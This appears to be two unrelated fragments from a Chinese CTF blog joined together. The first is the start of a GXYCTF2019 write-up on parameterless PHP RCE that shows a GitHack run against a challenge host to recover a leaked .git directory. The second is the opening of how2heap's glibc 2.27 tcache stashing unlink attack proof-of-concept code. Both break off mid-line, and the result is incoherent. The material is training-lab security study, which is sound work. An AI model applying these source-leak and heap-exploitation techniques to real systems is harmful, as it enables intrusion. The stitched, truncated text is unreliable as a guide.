[toc] 0x20.[GXYCTF2019]禁止套娃 考点是无参数RCE先贴两个链接: https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE http://www.heetian.com/info/827 找了半天没发现啥,看wp说是git泄露,然后 ┌──(kali㉿kali)-[~/GitHack] └─$ python GitHack.py http://25ced3f5-75c8-4ac6-9d2c-9097371101ca.node4.buuoj.cn:81/ [+] Download and parse index file ... error: Not a Git index file ┌──(kali㉿kali
代码是how2heap中libc2.27的代码 ##include <stdio.h> ##include <stdlib.h> ##include <assert.h> int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; setbuf(stdout, NULL); printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n"); printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to